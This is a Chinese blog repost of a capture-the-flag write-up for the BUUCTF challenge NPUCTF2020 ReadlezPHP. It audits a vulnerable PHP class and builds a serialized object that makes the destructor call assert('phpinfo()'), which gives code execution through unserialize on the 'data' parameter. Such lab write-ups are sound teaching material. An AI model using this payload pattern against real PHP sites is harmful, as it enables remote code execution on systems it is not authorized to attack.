当前位置: 首页 > news >正文

127,【3】 buuctf [NPUCTF2020]ReadlezPHP

进入靶场

吓我一跳

查看源码

点击

审计

<?php// 定义一个名为 HelloPhp 的类,该类可能用于执行与日期格式化相关的操作
class HelloPhp
{// 定义一个公共属性 $a,用于存储日期格式化的模板public $a;// 定义一个公共属性 $b,用于存储要调用的函数名public $b;// 构造函数,当创建 HelloPhp 类的对象时会自动调用public function __construct(){// 将日期格式化模板 "Y-m-d h:i:s" 赋值给属性 $a// "Y-m-d h:i:s" 表示年-月-日 时:分:秒 的格式$this->a = "Y-m-d h:i:s";// 将 PHP 的日期函数名 "date" 赋值给属性 $b$this->b = "date";}// 析构函数,当对象被销毁时会自动调用public function __destruct(){// 将属性 $a 的值赋给局部变量 $a$a = $this->a;// 将属性 $b 的值赋给局部变量 $b$b = $this->b;// 调用以 $b 为函数名的函数,并将 $a 作为参数传递给该函数// 由于 $b 为 "date",$a 为日期格式化模板,所以这里实际上是调用 date 函数进行日期格式化// 最后将格式化后的日期字符串输出echo $b($a);}
}// 创建一个 HelloPhp 类的对象 $c
$c = new HelloPhp;// 检查 $_GET 超全局数组中是否存在名为 'source' 的参数
if (isset($_GET['source'])) {// 如果存在 'source' 参数,则使用 highlight_file 函数高亮显示当前 PHP 文件的源代码highlight_file(__FILE__);// 终止脚本的执行,并返回状态码 0die(0);
}// 使用 @ 符号抑制可能出现的错误信息
// 尝试对 $_GET 超全局数组中名为 "data" 的参数进行反序列化操作
// 并将反序列化后的结果赋值给变量 $ppp
@$ppp = unserialize($_GET["data"]);

我们需要通过get方式传参给data参数,并进行序列化操作

同时b包括函数名,a包括对应参数

system() 是 PHP 中的一个函数,其作用是执行外部程序,并将执行结果输出

但尝试了不行,换一个

assert() 函数在 PHP 中既可以用于调试和检查条件是否成立,也可以将传入的参数当作 PHP 代码来执行

此处就是利用了他的第二个性质

phpinfo() 函数用于输出 PHP 的配置信息

<?php
class HelloPhp
{public $a = "phpinfo()";public $b = "assert";
}
$c = new HelloPhp();
echo serialize($c);
?> 

O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo()";s:1:"b";s:6:"assert";}

 

 

 

http://www.lryc.cn/news/534481.html

相关文章:

  • 继承(python)
  • 驱动开发系列36 - Linux Graphics 2D 绘制流程
  • STL函数算法笔记
  • 【Vue】在Vue3中使用Echarts的示例 两种方法
  • 小红书自动化:如何利用Make批量生成爆款笔记
  • 学习率调整策略 | PyTorch 深度学习实战
  • DeepSeekMoE 论文解读:混合专家架构的效能革新者
  • 以下是基于巨控GRM241Q-4I4D4QHE模块的液位远程控制系统技术方案:
  • 【JVM详解五】JVM性能调优
  • 2.10日学习总结
  • 疯狂前端面试题(四)
  • YOLOv11-ultralytics-8.3.67部分代码阅读笔记-metrics.py
  • SuperCopy解除网页禁用复制功能插件安装和使用
  • UP-VLA:具身智体的统一理解与预测模型
  • Unity 基于状态机的逻辑控制详解
  • 傅里叶单像素成像技术研究进展
  • IDEA接入DeepSeek
  • 前端如何判断浏览器 AdBlock/AdBlock Plus(最新版)广告屏蔽插件已开启拦截
  • macOS 上部署 RAGFlow
  • 如何在Kickstart自动化安装完成后ISO内拷贝文件到新系统或者执行命令
  • 在服务器部署JVM后,如何评估JVM的工作能力,比如吞吐量
  • 攻防世界32 very_easy_sql【SSRF/SQL时间盲注】
  • STM32G474--Whetstone程序移植(双精度)笔记
  • 【DeepSeek × Postman】请求回复
  • 开源身份和访问管理方案之keycloak(一)快速入门
  • 基于PaddleOCR的图像文字识别与程序打包方法
  • 单片机上SPI和IIC的区别
  • Python 字典(一个简单的字典)
  • 一个简单的Windows TCP服务器实现
  • Node.js笔记入门篇